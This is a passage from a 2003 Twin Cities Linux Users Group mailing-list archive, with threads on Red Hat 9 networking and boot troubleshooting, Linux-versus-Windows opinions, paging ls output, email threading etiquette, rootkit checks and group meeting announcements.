Aug 16 13:18:52 2003 From: kcbnac at bnac.biz (K B) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] Comcast and Redhat 9 In-Reply-To: <002301c3639b$74ca46c0$4f842942@comcast.net> Message-ID: <000e01c36422$dc1c6560$6401a8c0@WORKBOOK> I'm sitting at my friend's house, using his wireless through comcast. He says that the Toshiba cable modem isn't working because a new patch MS sent out for windows is causing problems with it. My friend bought a Linksys cable modem, so he's having no problems, but it sounds like those with the Toshiba modem can't get on. Go to microsoft.com/technet/default.asp he says. (He didn't realize you guys aren't using Windows) Could it be the worm going around, is knocking comcast offline in some areas, or what? I'd say call support. -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Comcast Mail Sent: Friday, August 15, 2003 9:09 PM To: tclug-list@mn-linux.org Subject: [TCLUG] Comcast and Redhat 9 I'm having way to much fun. RCA Comcast modem: works fine. I can ping myself, and I can ping other ethernet addresses on the comcast network. ifconfig -a shows eth0 is up, it has an assigned IP address from comcast. but.... Mozilla will not get to the internet. I set up the security using "medium" security as default. I have some experience with cable modem in Boulder, CO, where I had to force feed the network with pump -i eth0 -h hostname (the hostname assigned by @home). I'm failing miserably at this point. ifup eth0 gives errors Determining IP information for eth0...iptables: No chain/target/match by that name done. iptables: Bad rule (does a matching rule exist in that chain?) iptables: Table does not exist (do you need to insmod?) iptables: No chain/target/match by that name iptables: Table does not exist (do you need to insmod?) iptables: No chain/target/match by that name NOTE: The system I built is for my parents. I'm attempting to turn them into a home linux users. They are upgrading from webtv to a Linux home system. Because the system resides at my parents, and I'm running out of time on this visit, I may not be able to immediately anything for a couple of weeks (upon my next return trip). However, I'm bound and determined to keep them off windows. Any help, or anyone with experiencing RedHat 9 kernel 2.4.20-6 and comcast would be greatly appreciated. Another note: Comcast was not much help with providing dns/gateway/ip address information for configuring the system. The install guy didn't have any of that information so I had to connect with a windows laptop to run winipcf to get some information. Thanks in anticipation, AlaskaJon -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030816/b8813469/attachment.htm From trammell+tclug at el-swifto.com Sat Aug 16 13:26:35 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] RH9 server issue In-Reply-To: References: Message-ID: <20030816182635.GA7616@mail.el-swifto.com> On Sat, Aug 16, 2003 at 11:09:35AM -0500, PHPTOm wrote: > Hello all, > > I have a red hat 9 box here at home. I am somewhat new to Linux. I > rebooted this morning and I got this message: > > > > awk: cmd. line:2: fatal: Cannot open file '/proc/mounts/'for reading (No > such file or directory) > Couldn't open /proc/partitions: No such file or directory. > Is /proc mounted? > > *** An error occurred during the file system check > *** Dropping you into a shell > > > > Then I can log in as root and see all my directories. I just don't know > where to start repairing the system. > > Any ideas/experience with this? > I can't say I've dealt with this problem personally, but if I had to, I'd look to see if /proc was mounted. What does ls /proc say? Do you have a line like: proc /proc proc defaults 0 0 in /etc/fstab? -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota -------------- next part -------------- A non-text attachment was scrubbed... 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Red Hat, Mandrake, and even Debian (if installed from something like Knoppix or Libranet ) can be a pleasent experience for a newbie user. You purchase pre-install Linux workstations and laptops no-a-days without too much difficulty, and receive technical support and even warranties if you choose the right vendor. There's a learning curve to be dealt with, but that is true of every operating system. In fact, my parents have ordered a new workstation from me -- their computer expert son -- and I'm seriously thinking about ordering the Libranet 2.8 CD as a gift to them. I'd rather they try out Linux before placing them in harm's way with Windows XP Home. We'll see how it goes. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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And how is this different in windows? you still have to be an administrator to install hardware and software in windows (recent versions win95+ did not have "user" accounts) now i understand that a lot of companies and users simply grant the user accounts administrator priviledges, but if anything, this is a weakness in windows now linux. Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Sat Aug 16 17:19:17 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: References: <20030815231809.GA18398@fandre.com> Message-ID: <20030816221917.GB12633@skuld.wookimus.net> "Michael McGreevy" wrote: > I'm doing a survey on why Linux is having such success. I was > wondering if a number of the users in your organization would share > with me their comments and observations of Linux versus Microsoft > products. Why are they using Linux? Is it just for financial > reasons. Or are there other reasons, development, security etc... I find one of Linux's greatest strengths is the ability to automate system installation and maintenance with minimal effort and little capitol. The importance of automated software maintenance has never been so well illustrated as it has recently been by the Windows Internet worm, Blaster. The the exploit that the Blaster worm used has been known for quite some time, and the patch has been available on the Windows Update site long before the virus had a chance to propagate so swiftly. Why did it succeed in crippling both private and public networks? Naive or lazy Windows users who either didn't know it was their responsibility to keep their system up to date with the latest patches, or didn't care. Ask yourself whether or not a business manager should really have to care about whether or not his computers were secure? Should the telephone sales representative need to know that they need to visit the "Windows Update" site every day? No doubt there will be a flurry of phone calls from Windows software companies selling automated tools to keep business workstation systems up to date. Symantec will try to push their Nortan System Center software, and Microsoft will advise everyone to upgrade to the latest and greatest Windows Server 2003 with Active Directory, which totes a maintenance automation utility. Do you really want to be locked into the Microsoft loop of upgrading to incompatible operating systems? Where am I going with this? With Linux, the tools are already in place. Red Hat, Mandrake, and other RPM based systems use a simple tool called "kickstart" for automated and unattended installations. Debian has both the Progeny application called "autoinstall" and the Fully Automated Install (FAI) projects to use. Both RPM and DEB based systems have strong tools for package (software) installation, and maintenance, and configuration. Debian itself uses a command-line application called "apt" to download the latest software to your system automatically, and can be configured to install the software immediately or hold the software in a queue directory for later. apt has been so popular in handling DEB packages, that developers for the RPM-based packages have ported the tool to their systems. Ximian, a commercial company that develops and sells software for the Linux and UNIX platforms, has developed an automation system called Red Carpet. Progeny, a Debian GNU/Linux software and consulting company has developed their own network-wide system management tools for automating the maintenance and installation of multiple flavors of Linux. Part of this problem lies in the question of scalability. Will your Windows automated maintenance solutions scale as well as Linux? How will the cost to maintain these systems compare? As with any operating system, you can either purchase your software, or you can look to the Free Software and Open Software communities for support. And the software is rolling. I am amazed at the quality and quantity of software that is being released under open source licenses in recent years. The OpenOffice.org project, a child of StarOffice and a donation to the Open Source community by Sun, has really taken off in popularity. It provides a level of compatibility with the Word Document, Excel Spreadsheets, and PowerPoint presentation slingers of the world. If you're a fan of Visio, the flow-chart creation tool, Dia is available. For web application platforms, you have Java with Tomcat/Jakarta, Python with Zope and company, Perl with Mason, and you can run it all on top of Apache 2. There was a recent German(?) usability study comparing pre-installed Linux Desktop environment using OpenOffice.org and KDE (or was it Gnome) with Microsoft's XP Office. The people used in the study didn't have any experience with either platform, and although Linux didn't take first place, it didn't exactly loose either. Of course, there is the very basic comparisons between the Windows graphical captive environments, and Unix's ability to drop to the command line and perform more advanced scripting and automation tasks. Check out Mike Gancarz, "The Unix Philosophy" for a detailed explanation of "What is UNIX." It's a good, light read. So, once again, it comes back to automation and maintenance. With Linux, the tools are in place. With Windows, you'll either need to pay for them, or you'll have to create your own. I recently had a conversation at one of our TCLUG Beer Meetings with an employee of the Target corporation -- sorry if I forgot your name. They succeeded in creating and deploying an software installation system modeled after Debian's apt and dpkg infrastructure entirely in BATCH! The importance of unattended software installation was so great that these masochists used thousands of lines of DOS BATCH code to make their lives easier! If that doesn't illustrate motivation, nothing will. The bottom line is that you really need to listen to your systems administrators and engineers, the ones who have been in the trenches, the ones that have excelled because of it. Don't listen to the shell-shocked, unmotivated, paper-MCSE grunt. They're often too focused on their immediate problems than to be able to look at the bigger picture. Linux isn't the answer for everything, but Free Software is not something to overlook simply because it's free. Linux itself is proof of this concept. You will still have to invest money in your technical infrastructure, but if you take a look at the long-term picture, it is my opinion that you'll see Linux as more cost-effective, efficient, stable, and secure than most other solutions. -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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Brady > On Sat, Aug 16, 2003 at 10:54:32AM -0500, Brady Hegberg wrote: > > Generally you can't do a lot with Linux unless you're an expert (so > > far). Example: Just installing my mom's printer (which even had a > > sticker of Tux on it!) involved logging in as root and changing > > permissions on files. > > This is partially because of your poor choice in a Linux distribution. > Red Hat, Mandrake, and even Debian (if installed from something like > Knoppix or Libranet ) can be a pleasent experience for a newbie user. > You purchase pre-install Linux workstations and laptops no-a-days > without too much difficulty, and receive technical support and even > warranties if you choose the right vendor. > > There's a learning curve to be dealt with, but that is true of every > operating system. In fact, my parents have ordered a new workstation > from me -- their computer expert son -- and I'm seriously thinking about > ordering the Libranet 2.8 CD as a gift to them. I'd rather they try out > Linux before placing them in harm's way with Windows XP Home. > > We'll see how it goes. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bradyh at bitstream.net Sat Aug 16 17:37:32 2003 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> <1061049271.1312.26.camel@orlando> Message-ID: <1061073451.2494.19.camel@orlando> Well, you could be right, I don't use Windows for much anymore so I'm not sure what that experience is like. I'm thinking about things like: - The Flash installer doesn't run automatically like it does in Windows and until recently it wouldn't even install plugins in the proper directory. - The USB printer wouldn't be recognized unless it was turned on when the computer was booted. - I recently tried to get a USB wireless connection going and gave up after a few days of fiddling and compiling and recompiling drivers. > On Sat, 16 Aug 2003, Brady Hegberg wrote: > > > Generally you can't do a lot with Linux unless you're an expert (so > > far). Example: Just installing my mom's printer (which even had a > > sticker of Tux on it!) involved logging in as root and changing > > permissions on files. > > And how is this different in windows? you still have to be an > administrator to install hardware and software in windows (recent > versions win95+ did not have "user" accounts) > > now i understand that a lot of companies and users simply grant the user > accounts administrator priviledges, but if anything, this is a weakness in > windows now linux. > > Munir Nassar > RedConcepts.NET > http://redconcepts.net/ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 16 19:35:36 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <1061073451.2494.19.camel@orlando> References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> <1061049271.1312.26.camel@orlando> <1061073451.2494.19.camel@orlando> Message-ID: <3F3ECDD8.2040504@visi.com> I guess a real answer from me (not the M$ sucks one) is in order. I've worked in the computer industry for a long time. Windows didn't exist, heck PC's didn't exist when I took my first Cobol class int 1977. People use computers for different reasons, to play games, write email, programming, etc... I've worked as a Cobol programmer, help desk, technical writer, system administrator, and many other functions and positions. All of these things can be done with Windows, all of these things can be done with Linux, and all of these things can be done with any computer today no mater the Operating System. People who embrace Linux do so for their own reasons, even if it's "I hate M$". I don't hate M$, but I've worked with their products for so long nothing in them is new. They are great for the neophyte, but I need a challenge. Windows has become mindless in that everything can be done in the GUI. But I want to think about what I want to do, I can add a site to M$ dns in my sleep. I guess I like Linux because... I can. Brady Hegberg wrote: >Well, you could be right, I don't use Windows for much anymore so I'm >not sure what that experience is like. I'm thinking about things like: > >- The Flash installer doesn't run automatically like it does in Windows >and until recently it wouldn't even install plugins in the proper >directory. > >- The USB printer wouldn't be recognized unless it was turned on when >the computer was booted. > >- I recently tried to get a USB wireless connection going and gave up >after a few days of fiddling and compiling and recompiling drivers. > > > >>On Sat, 16 Aug 2003, Brady Hegberg wrote: >> >> >> >>>Generally you can't do a lot with Linux unless you're an expert (so >>>far). Example: Just installing my mom's printer (which even had a >>>sticker of Tux on it!) involved logging in as root and changing >>>permissions on files. >>> >>> >>And how is this different in windows? you still have to be an >>administrator to install hardware and software in windows (recent >>versions win95+ did not have "user" accounts) >> >>now i understand that a lot of companies and users simply grant the user >>accounts administrator priviledges, but if anything, this is a weakness in >>windows now linux. >> >>Munir Nassar >>RedConcepts.NET >>http://redconcepts.net/ >> >> >>_______________________________________________ >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>http://www.mn-linux.org tclug-list@mn-linux.org >>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Sat Aug 16 17:48:13 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308162248.h7GMmD531612@crusader.real-time.com> A new TCLUG classified ad at was placed Sat Aug 16 17:48:13 2003. Name: Nate Straz Category: free Subject: IBM Auto LANStreamer PCI Token Ring NIC Ad: Part number 42H0658. I found this while cleaning out stuff before I move. I used it one summer and I haven't touched it since. I expect it works but I don't have any other token ring equipment to test it with. It's free for anyone who wants it. If unclaimed by Aug 28, I'm going to junk it. To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chuckeal at comcast.net Sat Aug 16 18:14:39 2003 From: chuckeal at comcast.net (Chuck) Date: Mon Jan 17 12:40:31 2005 Subject: [TCLUG] Serial ATA Message-ID: <000801c3644c$2cd6c2b0$0200a8c0@xpjoey> Has anyone had any experience installing Red Hat or any other dist. on an Intel 865 based motherboard using a serial ATA hard drive? Any help would be greatly appreciated. Chuck Licha -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030816/d5021b31/attachment.htm From phptom at wordesign.net Sat Aug 16 21:17:28 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] RH9 server issue In-Reply-To: <20030816182635.GA7616@mail.el-swifto.com> Message-ID: I do have a: proc /proc proc defaults 0 0 line in /etc/fstab. Also, I can go into proc and see its contents. Thanks for the help, I will keep trying. The one thing I did was enable the FTP service while in KDE. Maybe I should try to turn it off. That is the only thing that I changed on the system. Tom I can't say I've dealt with this problem personally, but if I had to, I'd look to see if /proc was mounted. What does ls /proc say? Do you have a line like: proc /proc proc defaults 0 0 in /etc/fstab? -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Sat Aug 16 21:30:04 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: Message-ID: When I list the contents of a large directory, how can I pause the output so that I can see the files quickly scroll out of view? TOm _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kal at crcmn.com Sat Aug 16 21:48:06 2003 From: kal at crcmn.com (Kevin Layne) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: Message-ID: <000d01c36469$fce4c2a0$0a010a0a@crcmn.com> pipe it through less ls | less This 'pipes' the output of ls to less. less will let you page up and down. q will return you to the prompt. kevin ----- Original Message ----- From: "PHPTOm" To: Sent: Saturday, August 16, 2003 9:30 PM Subject: [TCLUG] Rookie question - Pausing ls output > When I list the contents of a large directory, how can I pause the output so > that I can see the files quickly scroll out of view? > > TOm > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From devel_support at crlc.net Sat Aug 16 22:11:10 2003 From: devel_support at crlc.net (Carl Lindgren) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: Message-ID: <004301c3646d$35bbd160$0325a8c0@crlc.net> ls | less or ls | more ----- Original Message ----- From: "PHPTOm" To: Sent: Saturday, August 16, 2003 9:30 PM Subject: [TCLUG] Rookie question - Pausing ls output > When I list the contents of a large directory, how can I pause the output so > that I can see the files quickly scroll out of view? > > TOm > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Sat Aug 16 22:17:58 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: References: Message-ID: <20030816221758.49dfc663.hackel@walkingfish.com> On Sat, 16 Aug 2003 21:30:04 -0500 "PHPTOm" wrote: > When I list the contents of a large directory, how can I pause the > output so that I can see the files quickly scroll out of view? I can't help offer some more rookie advise, since I've been so entirely annoyed by this on other mailing lists lately. If you aren't replying to a message, DON'T USE REPLY! It generates an In-reply-to header which mail clients use to thread discussions, and makes things very confusing and annoying. Just copy and paste the address into a new message people--it's not that hard. -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joeltclug at litriusgroup.com Sat Aug 16 22:33:56 2003 From: joeltclug at litriusgroup.com (Joel Wickard) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <1061073451.2494.19.camel@orlando> References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> <1061049271.1312.26.camel@orlando> <1061073451.2494.19.camel@orlando> Message-ID: <2510.65.29.39.171.1061091236.squirrel@mail.staffordphoto.com> > - I recently tried to get a USB wireless connection going and gave up > after a few days of fiddling and compiling and recompiling drivers. Hmm... did you try using the vnetusb atmel drivers? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Sat Aug 16 23:14:33 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <20030816221758.49dfc663.hackel@walkingfish.com> References: <20030816221758.49dfc663.hackel@walkingfish.com> Message-ID: <20030817041433.GM13598@techmonkeys.org> On Sat, Aug 16, 2003 at 10:17:58PM -0500, Ryan Hayle wrote: > I can't help offer some more rookie advise, since I've been so entirely > annoyed by this on other mailing lists lately. If you aren't replying > to a message, DON'T USE REPLY! It generates an In-reply-to header which > mail clients use to thread discussions, and makes things very confusing > and annoying. > > Just copy and paste the address into a new message people--it's not that > hard. It's always the mickeysoft OE users, I have the following images available for any LART'ing you may send their way: http://www.poptix.net/thread-hijack1.png http://www.poptix.net/thread-hijack2.png Although, with MS announcing pretty much an EOL (no further development) on outlook express, i doubt it will ever have any threading capabilities. This means that we'll continue to go through this, forever. (Unless of course, I can convince Bob to run a special procmail recipie for dropping thread hijacks =) > > -- > Ryan Hayle -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sun Aug 17 00:58:07 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> Message-ID: <000601c36484$87b48040$0201a8c0@brinstar> Matthew S. Hallacy writes: > Although, with MS announcing pretty much an EOL (no further > development) on outlook express, i doubt it will ever > have any threading capabilities. This means that we'll > continue to go through this, forever. That turned out to be false. What is weird is that OE has threading, but only for news. I wish they would add it for regular mail. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Sun Aug 17 01:28:28 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <000601c36484$87b48040$0201a8c0@brinstar> References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> <000601c36484$87b48040$0201a8c0@brinstar> Message-ID: <20030817062828.GN13598@techmonkeys.org> On Sun, Aug 17, 2003 at 12:58:07AM -0500, David Phillips wrote: > > That turned out to be false. What is weird is that OE has threading, but > only for news. I wish they would add it for regular mail. Whoops, not necessarily false, just outdated information and changed minds. http://www.zdnet.com.au/newstech/communications/story/0,2000048620,20277332,00.htm Perhaps the anti-virus companies saw it as a threat to their business and pushed microsoft to keep adding new "features". -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sun Aug 17 08:50:29 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Serial ATA In-Reply-To: <000801c3644c$2cd6c2b0$0200a8c0@xpjoey> References: <000801c3644c$2cd6c2b0$0200a8c0@xpjoey> Message-ID: <3F3F8825.1070700@visi.com> Chuck wrote: > Has anyone had any experience installing Red Hat or any other dist. on > an Intel 865 based motherboard using a serial ATA hard drive? > > Any help would be greatly appreciated. > > Chuck Licha Are you having a problem? If so, what kind of problem? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sun Aug 17 09:05:15 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] Rookie question - Pausing ls output In-Reply-To: <20030817062828.GN13598@techmonkeys.org> References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> <000601c36484$87b48040$0201a8c0@brinstar> <20030817062828.GN13598@techmonkeys.org> Message-ID: <3F3F8B9B.1070009@visi.com> Matthew S. Hallacy wrote: >On Sun, Aug 17, 2003 at 12:58:07AM -0500, David Phillips wrote: > > >>That turned out to be false. What is weird is that OE has threading, but >>only for news. I wish they would add it for regular mail. >> >> > >Whoops, not necessarily false, just outdated information and changed minds. > >http://www.zdnet.com.au/newstech/communications/story/0,2000048620,20277332,00.htm > >Perhaps the anti-virus companies saw it as a threat to their business >and pushed microsoft to keep adding new "features". > > > OMFG! M$ changed their minds, wish they would do that about their OS updates. I'm so tired of security patches, it drives everyone I know out of their minds. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Sun Aug 17 11:30:08 2003 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] system dying... wont boot past usb filesystem In-Reply-To: <20030816001820.GJ12831@autonomous.tv> References: <20030816001820.GJ12831@autonomous.tv> Message-ID: <200308171130.08737@join.TCLUG.at.www.mn-linux.org> On Friday 15 August 2003 07:18 pm, Spencer Butler wrote: > I would certainly in the very least boot the machine into single user > mode and run chkrootkit or the like on it, and inspect it for obvious > signs of intrusion. You may also want to make sure you don't have some > scripts starting at boot, or modules lodaing that you don't need to have > (especially usb stuff). > > You can also boot the machine using a rescue disk such as knoppix and > investigate the problem. Another advantage of booting from a rescue > disk is you get to test the hardware to see if you can recreate the > kernel paniks from a completely different environment. Not sure how this got into a compromised box thing, but every compromise I've dealt with in the last 6 months have been "good" hacks. Meaning they have installed kernel modules to hide thier kits. Only way to discover them is to boot bbc/knoppix/trb/etc and run chkrootkit over the disk. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 1 16:27:18 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Store is now active! Message-ID: <3F2ADB36.2070800@druswanderings.net> It's the moment you've all been waiting for! You can now blow your entire paycheck on cool TCLUG stuff. Clothing, hats, mugs and other stuff is now available. The site is still a little rough around the edges but should be fully functional thanks to CafePress. Here's the url: http://www.cafeshops.com/tclug I'm open to new designs as well if anybody has any good ideas. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From djb at tc.umn.edu Fri Aug 15 15:18:46 2003 From: djb at tc.umn.edu (Dave Bianchi) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCSA meeting August 21 Message-ID: The Twin Cities System Administrators (TCSA) group meets monthly to discuss topics of interest to system and network administrators in the Twin Cities area of Minnesota. The meetings are free and open to the public. Check out our web site at http://www.tcsa.org/ TCSA meetings are on the third Thursday of each month at 7:00 pm. ----- Next Meeting: Topic: A Review of the USENIX Security Symposium Speaker: Ron Nelson, Productive Online Date/Time: August 21, 2003 7:00 pm Location: France Place Synopsis: The 12th USENIX Security Symposium was held August 4-8 in Washington DC. Ron Nelson attended the conference and will talk about the highlights of the Symposium. Anyone else from the area that attended the symposium is encouraged to attend and share their experiences. About the Speaker: Ron Nelson has been a Unix Systems Administrator for over ten years, and is currently a consultant with Productive Online (http://www.productiveonline.com/). We will meet at the France Place Building, 3601 Minnesota Drive, in a conference room one floor down from street level on level "P" (underground Parking). Our conference room will be the first one that you see. Tentative Meeting Schedule September 18, 2003 October 16, 2003 Directions: The France Place Building is at 3601 Minnesota Drive on the northeast corner of Hwy 494 and France Avenue in the Bloomington business district. From 494, go north on France Ave. to Minnesota Drive (the first streetlight north of 494). Take a right (east) onto Minnesota Drive and immediately take another right into the parking lot. The building sign is visible from 494 and shares a parking lot with Fuddruckers. France Place is a nine story brown brick building. - Parking Free parking is available in the main lot. - Web map is at: http://www.mapquest.com/maps/map.adp?address=3601+minnesota+drive&city=bloomington&state=mn&zipcode=55435 For more information on TCSA, check out our web site: http://www.tcsa.org/ To subscribe to the TCSA or TCSA-JOBS mailing lists, follow the TCSA or TCSA-JOBS link from: http://list.onvoy.com/ For any other information, please send email to: info@tcsa.org or contact: Dave Bianchi 651-260-1770 -- Dave Bianchi djb@tc.umn.edu 651-260-1770 _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Sun Aug 17 11:32:30 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:32 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <3F3D8926.5050704@visi.com> References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> Message-ID: <200308171132.30941@join.TCLUG.at.www.mn-linux.org> On Friday 15 August 2003 08:30 pm, Sam MacDonald 